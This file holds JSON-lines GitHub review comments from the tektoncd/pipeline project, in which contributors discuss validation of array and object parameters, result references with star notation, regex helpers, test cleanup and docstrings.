+{"author": "Aleromerog", "body": "think so, otherwise I'd have to include more if's switching between pipelineWorkspaceName and taskWorkspaceName variables", "comment_id": 882966266, "created_at": "2022-05-26T18:41:30Z", "line": 892, "path": "pkg/reconciler/pipelinerun/pipelinerun.go", "pr_number": 4887, "repo": "pipeline"} +{"author": "ywluogg", "body": "I think you don't plan to catch references to objects and params as a whole and invalidate them in matrix in webhook validation, is it?", "comment_id": 916021749, "created_at": "2022-07-07T15:40:34Z", "line": 1418, "path": "pkg/apis/pipeline/v1beta1/pipeline_validation_test.go", "pr_number": 4902, "repo": "pipeline"} +{"author": "chuangw6", "body": "Chatted with @ywluogg offline.\r\nIt is implemented in this pr. If an individual element of an array param uses a reference to object param, it is invalid and will be checked by the `validateArrayVariable` [here](https://github.com/tektoncd/pipeline/pull/4902/files#diff-16493f3be05dfe9ce9d789d3b4b277f77d13deb8673084b3efe9034d20eb2987R323-R327).", "comment_id": 916229330, "created_at": "2022-07-07T19:50:01Z", "line": 1418, "path": "pkg/apis/pipeline/v1beta1/pipeline_validation_test.go", "pr_number": 4902, "repo": "pipeline"} +{"author": "dibyom", "body": "nit: indentation is off", "comment_id": 916914743, "created_at": "2022-07-08T15:15:13Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/param_types.go", "pr_number": 4902, "repo": "pipeline"} +{"author": "lbernick", "body": "Would you mind adding a docstring for this function and the one below it?", "comment_id": 917021847, "created_at": "2022-07-08T17:40:48Z", "line": 289, "path": "pkg/apis/pipeline/v1beta1/param_types.go", "pr_number": 4902, "repo": "pipeline"} +{"author": "lbernick", "body": "I think there's not so much context in this issue comment that it makes sense to link to it; it can just be explained here. I would also focus more on what this function does based on its inputs, and if you're going to include example syntax make sure it's formatted correctly.", "comment_id": 917022515, "created_at": "2022-07-08T17:41:49Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/param_types.go", "pr_number": 4902, "repo": "pipeline"} +{"author": "lbernick", "body": "similar to previously-- let's avoid `MustCompile` (except in globals) since it can panic", "comment_id": 917022958, "created_at": "2022-07-08T17:42:36Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/param_types.go", "pr_number": 4902, "repo": "pipeline"} +{"author": "lbernick", "body": "I'm a bit confused what's going on here. How is `validateVariableP` different from `validateStringVariable` and `validateStringVariableP`? Can any of these functions be renamed?\r\n\r\nalso, is the problem with the second example that it is a string which contains both a string param and and object param (without referencing the key)?", "comment_id": 917026581, "created_at": "2022-07-08T17:48:07Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/param_types.go", "pr_number": 4902, "repo": "pipeline"} +{"author": "lbernick", "body": "you can use this helper https://github.com/tektoncd/pipeline/blob/main/pkg/apis/pipeline/v1beta1/pipelinerun_validation_test.go#L844-L855", "comment_id": 917028571, "created_at": "2022-07-08T17:51:09Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/pipeline_validation_test.go", "pr_number": 4902, "repo": "pipeline"} +{"author": "chuangw6", "body": "It seems like we cannot import `v1beta1_test` package from `pipeline_validation_test.go` that is under `v1beta1` package, can we?", "comment_id": 917035606, "created_at": "2022-07-08T18:01:26Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/pipeline_validation_test.go", "pr_number": 4902, "repo": "pipeline"} +{"author": "lbernick", "body": "oh that's frustrating-- ideally pipeline_validation_test.go should be in the `v1beta1_test` package instead of `v1beta1`, because we want to only test exported functions. So you can either move pipeline_validation_test.go to `v1beta1_test` (may or may not work depending on if we are already testing unexported functions) or you could move the helper to the `v1beta1` package instead which should definitely work.", "comment_id": 917039317, "created_at": "2022-07-08T18:07:49Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/pipeline_validation_test.go", "pr_number": 4902, "repo": "pipeline"} +{"author": "dibyom", "body": "Question: Don't we have a regex or helper methods we could use for this instead of another regex here?", "comment_id": 917062705, "created_at": "2022-07-08T18:46:28Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/param_types.go", "pr_number": 4902, "repo": "pipeline"} +{"author": "chuangw6", "body": "Done!", "comment_id": 918274704, "created_at": "2022-07-11T19:21:34Z", "line": 289, "path": "pkg/apis/pipeline/v1beta1/param_types.go", "pr_number": 4902, "repo": "pipeline"} +{"author": "chuangw6", "body": "Changed. Please let me know if it is not clear.", "comment_id": 918279806, "created_at": "2022-07-11T19:28:48Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/param_types.go", "pr_number": 4902, "repo": "pipeline"} +{"author": "chuangw6", "body": "Done!", "comment_id": 918279875, "created_at": "2022-07-11T19:28:54Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/param_types.go", "pr_number": 4902, "repo": "pipeline"} +{"author": "chuangw6", "body": "> I'm a bit confused what's going on here. How is `validateVariableP` different from `validateStringVariable` and `validateStringVariableP`? Can any of these functions be renamed?\r\n\r\nThanks. The names were indeed a bit confusing. I changed the name and add comments. Please take a look. Basically, `validateStringVariableP` (now called `validateParamStringValue`) allows using the references to the whole array or object i.e. `$(params.myarray[*])`, or `$(params['myarray'][*])` (see the last two lines of the following example), whereas the existing `validateStringVariable` doesn't allow to have a reference that contains an array param name whatsoever.\r\n\r\n```yaml\r\napiVersion: tekton.dev/v1beta1\r\nkind: PipelineRun\r\nmetadata:\r\n generateName: test-case-\r\nspec:\r\n pipelineSpec:\r\n params:\r\n - name: myarray\r\n default:\r\n - a\r\n - b\r\n tasks:\r\n - name: do-something\r\n params:\r\n - name: arg\r\n value: $(params.myarray[*])\r\n```\r\n\r\n\r\nReason why the new function is not added on the top existing `validateStringVariable` is that there are still lots of use cases for `validateStringVariable` where referencing whole array or object are not allowed.\r\n\r\n\r\n> also, is the problem with the second example that it is a string which contains both a string param and and object param (without referencing the key)?\r\n\r\nExactly!\r\n", "comment_id": 918282550, "created_at": "2022-07-11T19:32:37Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/param_types.go", "pr_number": 4902, "repo": "pipeline"} +{"author": "chuangw6", "body": "Talked to @lbernick offline. We decided to move the flag set up function to the `config` pkg so that the helper function can be used from both v1beta1_test and v1beta1 packages.\r\n\r\nSee #5113 for more details.", "comment_id": 918286220, "created_at": "2022-07-11T19:37:55Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/pipeline_validation_test.go", "pr_number": 4902, "repo": "pipeline"} +{"author": "chuangw6", "body": "This description is changed. Please have a look.", "comment_id": 918286389, "created_at": "2022-07-11T19:38:12Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/param_types.go", "pr_number": 4902, "repo": "pipeline"} +{"author": "chuangw6", "body": "digged into this a bit. The [`braceMatchingRegex`](https://github.com/tektoncd/pipeline/blob/25b8965dfdcc2338599c818f661c93a731046807/pkg/substitution/substitution.go#L29) seems like what is desired for the outer layer. However, its [`parameterSubstitution`](https://github.com/tektoncd/pipeline/blob/25b8965dfdcc2338599c818f661c93a731046807/pkg/substitution/substitution.go#L28) part is not what we are looking for since we need the regex for referencing the whole array/object.\r\n\r\nSo I exported `braceMatchingRegex` to use it and write my own `nameSubstitution` to supply braceMatchingRegex.\r\nLet me know what you think.", "comment_id": 918288999, "created_at": "2022-07-11T19:41:52Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/param_types.go", "pr_number": 4902, "repo": "pipeline"} +{"author": "lbernick", "body": "thanks! the docstring should ideally focus on what the function does, not which other functions call it, so I'd remove the reference to PipelineTask (both here and in other docstrings)", "comment_id": 918354101, "created_at": "2022-07-11T21:11:58Z", "line": 289, "path": "pkg/apis/pipeline/v1beta1/param_types.go", "pr_number": 4902, "repo": "pipeline"} +{"author": "lbernick", "body": "could you avoid exporting this, and instead create an exported helper function?", "comment_id": 918356038, "created_at": "2022-07-11T21:15:04Z", "line": null, "path": "pkg/substitution/substitution.go", "pr_number": 4902, "repo": "pipeline"} +{"author": "chuangw6", "body": "Done!", "comment_id": 918375881, "created_at": "2022-07-11T21:46:50Z", "line": null, "path": "pkg/substitution/substitution.go", "pr_number": 4902, "repo": "pipeline"} +{"author": "chuangw6", "body": "Changed! Thanks for the suggestion!", "comment_id": 918376133, "created_at": "2022-07-11T21:47:16Z", "line": 289, "path": "pkg/apis/pipeline/v1beta1/param_types.go", "pr_number": 4902, "repo": "pipeline"} +{"author": "lbernick", "body": "I think the purpose of this package is to validate and parse parameters (it's hard to tell haha-- substitution is a bit messy), so the reason I suggest writing a helper function is to think about what validation and parsing can be abstracted away. The functions exported by a package form a sort of API that other packages can use. Imagine if you encountered an API with this getter function-- I think it would be confusing. This is where a package just for params would be really helpful! Since we don't have that, could you try to write a helper function that's consistent with what the `substitution` package is designed for? I am hoping to avoid the use of regexes in many places in the codebase because they are very hard to understand.", "comment_id": 918405923, "created_at": "2022-07-11T22:44:03Z", "line": null, "path": "pkg/substitution/substitution.go", "pr_number": 4902, "repo": "pipeline"} +{"author": "chuangw6", "body": "Thank you @lbernick for the explanation. That makes sense to me! Done.\r\n\r\n", "comment_id": 918424771, "created_at": "2022-07-11T23:28:21Z", "line": null, "path": "pkg/substitution/substitution.go", "pr_number": 4902, "repo": "pipeline"} +{"author": "ywluogg", "body": "Can you put object as one of the case, and string as default? This makes it clear that for most cases string is the fall back option", "comment_id": 892565360, "created_at": "2022-06-08T15:57:30Z", "line": null, "path": "pkg/reconciler/taskrun/resources/apply.go", "pr_number": 4904, "repo": "pipeline"} +{"author": "ywluogg", "body": "here as well", "comment_id": 892565565, "created_at": "2022-06-08T15:57:41Z", "line": null, "path": "pkg/reconciler/taskrun/resources/apply.go", "pr_number": 4904, "repo": "pipeline"} +{"author": "ywluogg", "body": "Can you update the comment?", "comment_id": 892568074, "created_at": "2022-06-08T16:00:02Z", "line": 55, "path": "pkg/reconciler/taskrun/resources/apply.go", "pr_number": 4904, "repo": "pipeline"} +{"author": "ywluogg", "body": "Nice job for the test!", "comment_id": 892595226, "created_at": "2022-06-08T16:25:50Z", "line": 777, "path": "pkg/reconciler/taskrun/resources/apply_test.go", "pr_number": 4904, "repo": "pipeline"} +{"author": "chuangw6", "body": "done!", "comment_id": 898314103, "created_at": "2022-06-15T18:58:25Z", "line": 55, "path": "pkg/reconciler/taskrun/resources/apply.go", "pr_number": 4904, "repo": "pipeline"} +{"author": "chuangw6", "body": "done", "comment_id": 898314251, "created_at": "2022-06-15T18:58:37Z", "line": null, "path": "pkg/reconciler/taskrun/resources/apply.go", "pr_number": 4904, "repo": "pipeline"} +{"author": "chuangw6", "body": "done!", "comment_id": 898314342, "created_at": "2022-06-15T18:58:45Z", "line": null, "path": "pkg/reconciler/taskrun/resources/apply.go", "pr_number": 4904, "repo": "pipeline"} +{"author": "lbernick", "body": "I'd prefer not introducing more usages of pipelineResources-- this will just be deleted later", "comment_id": 899167447, "created_at": "2022-06-16T14:46:36Z", "line": null, "path": "pkg/reconciler/taskrun/resources/apply_test.go", "pr_number": 4904, "repo": "pipeline"} +{"author": "lbernick", "body": "can this test case be made smaller? I wouldn't call it simple \ud83d\ude05 ", "comment_id": 899169125, "created_at": "2022-06-16T14:48:12Z", "line": null, "path": "pkg/reconciler/taskrun/resources/apply_test.go", "pr_number": 4904, "repo": "pipeline"} +{"author": "lbernick", "body": "same comment here-- it's hard to see what this test case is actually testing because the test case is so complicated. If the test case can't be made smaller, some comments would help", "comment_id": 899170435, "created_at": "2022-06-16T14:49:25Z", "line": null, "path": "pkg/reconciler/taskrun/resources/apply_test.go", "pr_number": 4904, "repo": "pipeline"} +{"author": "chuangw6", "body": "sg! I'll remove that.", "comment_id": 899212497, "created_at": "2022-06-16T15:28:51Z", "line": null, "path": "pkg/reconciler/taskrun/resources/apply_test.go", "pr_number": 4904, "repo": "pipeline"} +{"author": "chuangw6", "body": "It's funny \ud83e\udd23 . I had same confusion when I followed the existing example called `simpleTaskSpec` (where it seems to test var replacement on many fields but calls it simple hah).\r\n\r\nI'll make this object test smaller..", "comment_id": 899217154, "created_at": "2022-06-16T15:32:57Z", "line": null, "path": "pkg/reconciler/taskrun/resources/apply_test.go", "pr_number": 4904, "repo": "pipeline"} +{"author": "chuangw6", "body": "done!", "comment_id": 913233106, "created_at": "2022-07-04T19:05:01Z", "line": null, "path": "pkg/reconciler/taskrun/resources/apply_test.go", "pr_number": 4904, "repo": "pipeline"} +{"author": "chuangw6", "body": "just simplified the tests case for object param and added comments.\r\nThanks!", "comment_id": 913233215, "created_at": "2022-07-04T19:05:32Z", "line": null, "path": "pkg/reconciler/taskrun/resources/apply_test.go", "pr_number": 4904, "repo": "pipeline"} +{"author": "ywluogg", "body": "Comment format", "comment_id": 890352799, "created_at": "2022-06-06T17:03:03Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/result_types.go", "pr_number": 4908, "repo": "pipeline"} +{"author": "ywluogg", "body": "Can you add another test case for invalid reference like `[blah]`? ", "comment_id": 890354786, "created_at": "2022-06-06T17:05:46Z", "line": 256, "path": "pkg/apis/pipeline/v1beta1/when_types_test.go", "pr_number": 4908, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "yes!", "comment_id": 890493463, "created_at": "2022-06-06T19:47:03Z", "line": 256, "path": "pkg/apis/pipeline/v1beta1/when_types_test.go", "pr_number": 4908, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "sorry could you suggest changes on this? Not sure what the issue is ", "comment_id": 890493804, "created_at": "2022-06-06T19:47:33Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/result_types.go", "pr_number": 4908, "repo": "pipeline"} +{"author": "ywluogg", "body": "extra space", "comment_id": 890608980, "created_at": "2022-06-06T22:10:31Z", "line": null, "path": "pkg/reconciler/taskrun/validate_resources.go", "pr_number": 4908, "repo": "pipeline"} +{"author": "ywluogg", "body": "Maybe correctValueType? or correctAoSType", "comment_id": 890609511, "created_at": "2022-06-06T22:11:42Z", "line": null, "path": "pkg/reconciler/taskrun/validate_resources.go", "pr_number": 4908, "repo": "pipeline"} +{"author": "ywluogg", "body": "Can you add a comment to explain what this function does?", "comment_id": 890612542, "created_at": "2022-06-06T22:18:03Z", "line": null, "path": "pkg/reconciler/taskrun/validate_resources.go", "pr_number": 4908, "repo": "pipeline"} +{"author": "ywluogg", "body": "This actually worths adding a separate test in validate_resource_test for checking the changed params", "comment_id": 890615363, "created_at": "2022-06-06T22:24:15Z", "line": null, "path": "pkg/reconciler/taskrun/validate_resources.go", "pr_number": 4908, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "Sure!\r\n", "comment_id": 891255115, "created_at": "2022-06-07T13:49:03Z", "line": null, "path": "pkg/reconciler/taskrun/validate_resources.go", "pr_number": 4908, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "I changed it to correctAoSValueType", "comment_id": 891255688, "created_at": "2022-06-07T13:49:32Z", "line": null, "path": "pkg/reconciler/taskrun/validate_resources.go", "pr_number": 4908, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "oh yes, thanks!", "comment_id": 891256047, "created_at": "2022-06-07T13:49:49Z", "line": null, "path": "pkg/reconciler/taskrun/validate_resources.go", "pr_number": 4908, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "sure! That's a good point!", "comment_id": 891262990, "created_at": "2022-06-07T13:55:14Z", "line": null, "path": "pkg/reconciler/taskrun/validate_resources.go", "pr_number": 4908, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "My question of this is that is it ok if we put this function here? Since we are doing validation in these functions it may seem weird to add one function to do something different. If we want to move it to higher level then it may be put inside `reconcile`", "comment_id": 891267019, "created_at": "2022-06-07T13:58:31Z", "line": null, "path": "pkg/reconciler/taskrun/validate_resources.go", "pr_number": 4908, "repo": "pipeline"} +{"author": "ywluogg", "body": "You can close this thread, as I thought the comment format looks weird from UI.", "comment_id": 892489578, "created_at": "2022-06-08T14:53:42Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/result_types.go", "pr_number": 4908, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "we can only echo the array this way since it cannot be used in script right now", "comment_id": 893540095, "created_at": "2022-06-09T13:57:08Z", "line": null, "path": "examples/v1beta1/pipelineruns/alpha/pipelinerun-array-results.yaml", "pr_number": 4908, "repo": "pipeline"} +{"author": "dibyom", "body": "Question: Is there another place we mention that [*] only applies to results that have type array as well as can only be used in params of type array? Also the fact that it cannot be used in scripts at the moment", "comment_id": 899167567, "created_at": "2022-06-16T14:46:43Z", "line": 27, "path": "docs/variables.md", "pr_number": 4908, "repo": "pipeline"} +{"author": "dibyom", "body": "The `fmt.Sprintf` seems unnecessary here since we are just returning the string returned from ResultArrayReference", "comment_id": 899178130, "created_at": "2022-06-16T14:56:33Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/when_types.go", "pr_number": 4908, "repo": "pipeline"} +{"author": "dibyom", "body": "@Yongxuanzhang if I change `\"$(results.resultname[*])\"` to `\"$(results.resultname)\"`, the test still passes. Is that expected? Is there another place that we validate that without a `[*]`, the param should be invalid?", "comment_id": 899254288, "created_at": "2022-06-16T15:59:50Z", "line": null, "path": "pkg/reconciler/taskrun/validate_resources_test.go", "pr_number": 4908, "repo": "pipeline"} +{"author": "chuangw6", "body": "Seems like the `if` and `else-if` bodies are doing same thing. Can you merge those two blocks together?", "comment_id": 899396541, "created_at": "2022-06-16T18:17:19Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/when_types.go", "pr_number": 4908, "repo": "pipeline"} +{"author": "chuangw6", "body": "Why can the whole array reference exist in both string replacement and array replacement?", "comment_id": 899398385, "created_at": "2022-06-16T18:19:37Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/when_types_test.go", "pr_number": 4908, "repo": "pipeline"} +{"author": "chuangw6", "body": "just want to confirm. The validation webhook doesn't recognize this `$(tasks.aTask.results[\"a.Result\"][*]` reference and will report error, is that right?", "comment_id": 899400347, "created_at": "2022-06-16T18:22:16Z", "line": 1071, "path": "pkg/reconciler/pipelinerun/resources/apply_test.go", "pr_number": 4908, "repo": "pipeline"} +{"author": "chuangw6", "body": "Also, if the string is `\"$(params.stringA) followed by $(params.stringB)\"`, `VariableSubstitutionRegex.MatchString` also returns true and the test passes. Is it expected to also **correct** the type in such case?", "comment_id": 899565600, "created_at": "2022-06-16T22:06:30Z", "line": null, "path": "pkg/reconciler/taskrun/validate_resources_test.go", "pr_number": 4908, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "> Is there another place we mention that [*] only applies to results that have type array as well as can only be used in params of type array\r\n\r\nI can add it to the piplines.md's corresponding section.\r\n\r\n> Also the fact that it cannot be used in scripts at the moment\r\n\r\nIt may be missing in current doc, I will check and add it! \r\n", "comment_id": 900202256, "created_at": "2022-06-17T14:56:50Z", "line": 27, "path": "docs/variables.md", "pr_number": 4908, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "yes! Thanks!", "comment_id": 901808011, "created_at": "2022-06-20T15:44:11Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/when_types.go", "pr_number": 4908, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "> @Yongxuanzhang if I change `\"$(results.resultname[*])\"` to `\"$(results.resultname)\"`, the test still passes. Is that expected? Is there another place that we validate that without a `[*]`, the param should be invalid?\r\n\r\nIt is supported by the following function so it can pass, for actual use since I didn't add this type, this is not working actually. I'm not sure if we should support `\"$(results.resultname)\"` for array and object substitution. \r\nhttps://github.com/tektoncd/pipeline/blob/3147117bda072f801f03268eb2a6d1379a692962/pkg/substitution/substitution.go#L282-L290\r\n\r\n\r\n", "comment_id": 901813855, "created_at": "2022-06-20T15:51:35Z", "line": null, "path": "pkg/reconciler/taskrun/validate_resources_test.go", "pr_number": 4908, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "tep 0076 mentions that we should use `*` so we shouldn't support this. It looks like a bit controversial here. \r\nhttps://github.com/tektoncd/community/blob/main/teps/0076-array-result-types.md#to-provide-values-for-array-params", "comment_id": 901817512, "created_at": "2022-06-20T15:56:10Z", "line": null, "path": "pkg/reconciler/taskrun/validate_resources_test.go", "pr_number": 4908, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "> Also, if the string is `\"$(params.stringA) followed by $(params.stringB)\"`, `VariableSubstitutionRegex.MatchString` also returns true and the test passes. Is it expected to also **correct** the type in such case?\r\n\r\ndiscussed offline about this, will leave to @chuangw6's PR to handle type stuff. We will skip some validation cases here", "comment_id": 901818970, "created_at": "2022-06-20T15:57:54Z", "line": null, "path": "pkg/reconciler/taskrun/validate_resources_test.go", "pr_number": 4908, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "That's true, for better readability it looks clear to split them, or could you suggest changes of merging them?", "comment_id": 901821335, "created_at": "2022-06-20T16:00:40Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/when_types.go", "pr_number": 4908, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "it should be a error, thanks!", "comment_id": 901823237, "created_at": "2022-06-20T16:02:56Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/when_types_test.go", "pr_number": 4908, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "it is a case we don't support for results right now", "comment_id": 901824728, "created_at": "2022-06-20T16:04:28Z", "line": 1071, "path": "pkg/reconciler/pipelinerun/resources/apply_test.go", "pr_number": 4908, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "Maybe leave this case as an issue and fix this in another pr.", "comment_id": 902768589, "created_at": "2022-06-21T15:30:13Z", "line": null, "path": "pkg/reconciler/taskrun/validate_resources_test.go", "pr_number": 4908, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "This part is from https://github.com/tektoncd/pipeline/pull/5007, I think we can merge it first and rebase", "comment_id": 903075543, "created_at": "2022-06-21T21:14:54Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/param_types.go", "pr_number": 4908, "repo": "pipeline"} +{"author": "dibyom", "body": "ok just making sure we are on the same page here - what you are saying is that the validation that `$(results.resultname)` should be invalid is handled elsewhere?", "comment_id": 904234052, "created_at": "2022-06-22T21:16:25Z", "line": null, "path": "pkg/reconciler/taskrun/validate_resources_test.go", "pr_number": 4908, "repo": "pipeline"} +{"author": "dibyom", "body": "Based on this comment, I'm going to go review 5007 first :D", "comment_id": 904237548, "created_at": "2022-06-22T21:21:23Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/param_types.go", "pr_number": 4908, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "Yes! Thank you!", "comment_id": 905042563, "created_at": "2022-06-23T13:45:35Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/param_types.go", "pr_number": 4908, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "yes, it will be our cleanup work", "comment_id": 905047988, "created_at": "2022-06-23T13:50:06Z", "line": null, "path": "pkg/reconciler/taskrun/validate_resources_test.go", "pr_number": 4908, "repo": "pipeline"} +{"author": "ywluogg", "body": "Can you confirm that this is being handled, as you already rebased the PR?", "comment_id": 911136650, "created_at": "2022-06-30T15:01:13Z", "line": null, "path": "pkg/reconciler/taskrun/validate_resources_test.go", "pr_number": 4908, "repo": "pipeline"} +{"author": "dibyom", "body": "```suggestion\r\n// ResultsArrayReference returns the reference of the result. e.g. results.resultname from $(results.resultname[*])\r\n```", "comment_id": 912269783, "created_at": "2022-07-01T22:06:36Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/result_types.go", "pr_number": 4908, "repo": "pipeline"} +{"author": "dibyom", "body": "nit: the changes in this file all seem to be about removing spaces. Can we revert them?", "comment_id": 912269923, "created_at": "2022-07-01T22:07:13Z", "line": null, "path": "docs/pipelines.md", "pr_number": 4908, "repo": "pipeline"} +{"author": "dibyom", "body": "ok the test here still passes if I replace $(results.foo[*]) with $(results.foo). Could we add some validation for this or at least a comment that this is upcoming work.", "comment_id": 912274638, "created_at": "2022-07-01T22:26:27Z", "line": null, "path": "pkg/reconciler/taskrun/validate_resources_test.go", "pr_number": 4908, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "sure, let me figure it out. It must be autoformat of my IDE.", "comment_id": 913185302, "created_at": "2022-07-04T18:04:24Z", "line": null, "path": "docs/pipelines.md", "pr_number": 4908, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "Thank you!", "comment_id": 913185649, "created_at": "2022-07-04T18:04:46Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/result_types.go", "pr_number": 4908, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "After #5007 was merged, the current code supports $(results.foo) to refer to an array. Discussed with @ywluogg , if we support this it may be confusing for users to mix these usages.\r\nI leave a todo in this PR to validate this use case, and it should be invalid. ", "comment_id": 913932997, "created_at": "2022-07-05T15:31:23Z", "line": null, "path": "pkg/reconciler/taskrun/validate_resources_test.go", "pr_number": 4908, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "the main branch has been formatted, \ud83d\ude04 ", "comment_id": 913963959, "created_at": "2022-07-05T16:03:57Z", "line": null, "path": "docs/pipelines.md", "pr_number": 4908, "repo": "pipeline"} +{"author": "ywluogg", "body": "Can you add several more test cases to test invalid and out of index cases?", "comment_id": 883014480, "created_at": "2022-05-26T19:43:25Z", "line": 604, "path": "pkg/reconciler/pipelinerun/resources/apply_test.go", "pr_number": 4911, "repo": "pipeline"} +{"author": "ywluogg", "body": "Discussed offline about renaming", "comment_id": 883014690, "created_at": "2022-05-26T19:43:44Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/resultref.go", "pr_number": 4911, "repo": "pipeline"} +{"author": "ywluogg", "body": "Same as above for adding invalid test cases", "comment_id": 883015460, "created_at": "2022-05-26T19:44:47Z", "line": 776, "path": "pkg/reconciler/pipelinerun/resources/apply_test.go", "pr_number": 4911, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "These two are not supported because of previous regex bug. We may remove this and add them back when it is supported", "comment_id": 884912535, "created_at": "2022-05-30T14:57:17Z", "line": 27, "path": "docs/variables.md", "pr_number": 4911, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "I added the validation in the latest commit, ", "comment_id": 885142764, "created_at": "2022-05-31T01:48:28Z", "line": 604, "path": "pkg/reconciler/pipelinerun/resources/apply_test.go", "pr_number": 4911, "repo": "pipeline"} +{"author": "ywluogg", "body": "Ah adding the tests in resultresolution_test should be good enough. But this test case makes it clear that out of bound cases here are handled in this specific way. I think keeping this case is fine. You can resolve this comment", "comment_id": 886140343, "created_at": "2022-05-31T21:22:05Z", "line": 664, "path": "pkg/reconciler/pipelinerun/resources/apply_test.go", "pr_number": 4911, "repo": "pipeline"} +{"author": "ywluogg", "body": "LGTM. You can resolve this", "comment_id": 886140635, "created_at": "2022-05-31T21:22:34Z", "line": 604, "path": "pkg/reconciler/pipelinerun/resources/apply_test.go", "pr_number": 4911, "repo": "pipeline"} +{"author": "lbernick", "body": "there's a typo here and in the name of this file", "comment_id": 887017365, "created_at": "2022-06-01T16:39:53Z", "line": null, "path": "examples/v1beta1/pipelineruns/alpha/pipelinerun-array-resluts-indexing.yaml", "pr_number": 4911, "repo": "pipeline"} +{"author": "lbernick", "body": "what's the reason for this change? it doesn't look related to results", "comment_id": 887019308, "created_at": "2022-06-01T16:42:15Z", "line": 284, "path": "pkg/reconciler/pipelinerun/resources/pipelinerunresolution.go", "pr_number": 4911, "repo": "pipeline"} +{"author": "pritidesai", "body": "Suggest - exit 0 and exit 1 instead of echo true and false", "comment_id": 887070184, "created_at": "2022-06-01T17:21:36Z", "line": null, "path": "examples/v1beta1/pipelineruns/alpha/pipelinerun-array-resluts-indexing.yaml", "pr_number": 4911, "repo": "pipeline"} +{"author": "pritidesai", "body": "isn't specifying `type` necessary here? ", "comment_id": 887072569, "created_at": "2022-06-01T17:22:12Z", "line": null, "path": "examples/v1beta1/pipelineruns/alpha/pipelinerun-array-resluts-indexing.yaml", "pr_number": 4911, "repo": "pipeline"} +{"author": "pritidesai", "body": "How about start notation - `tasks..results.[*]`? is that something supported in this context? ", "comment_id": 887078109, "created_at": "2022-06-01T17:23:42Z", "line": 25, "path": "docs/variables.md", "pr_number": 4911, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "> there's a typo here and in the name of this file\r\n\r\nThank you!\r\n\r\n> isn't specifying type necessary here?\r\n\r\nYes, I will add this, thanks for catching! It is not failing in this pr because the validation we discussed is implemented in this pr https://github.com/tektoncd/pipeline/pull/4920", "comment_id": 887186032, "created_at": "2022-06-01T18:39:54Z", "line": null, "path": "examples/v1beta1/pipelineruns/alpha/pipelinerun-array-resluts-indexing.yaml", "pr_number": 4911, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "star notation is not supported in this pr, it is in this one https://github.com/tektoncd/pipeline/pull/4908", "comment_id": 887187626, "created_at": "2022-06-01T18:41:46Z", "line": 25, "path": "docs/variables.md", "pr_number": 4911, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "star notation is used to refer the whole array while this pr focus on the reference of array elements via index", "comment_id": 887187990, "created_at": "2022-06-01T18:42:18Z", "line": 25, "path": "docs/variables.md", "pr_number": 4911, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "Yes it is not so straightforward, not sure if I'm doing here is correct or there could be better solutions.\r\n\r\nWe need to validate if the referred index is out of bound of results array, and it is done in `ResolveResultRefs`, so the `ResolveResultRefs` will return err when out of bound and there are cases that the rprt is nil, so it will fail here if I don't add this check. \r\n\r\n", "comment_id": 887194059, "created_at": "2022-06-01T18:49:53Z", "line": 284, "path": "pkg/reconciler/pipelinerun/resources/pipelinerunresolution.go", "pr_number": 4911, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "And in this case of this function we will still return true even we got err here. But it will return our err in another function `runNextSchedulableTask`", "comment_id": 887195811, "created_at": "2022-06-01T18:52:08Z", "line": 284, "path": "pkg/reconciler/pipelinerun/resources/pipelinerunresolution.go", "pr_number": 4911, "repo": "pipeline"} +{"author": 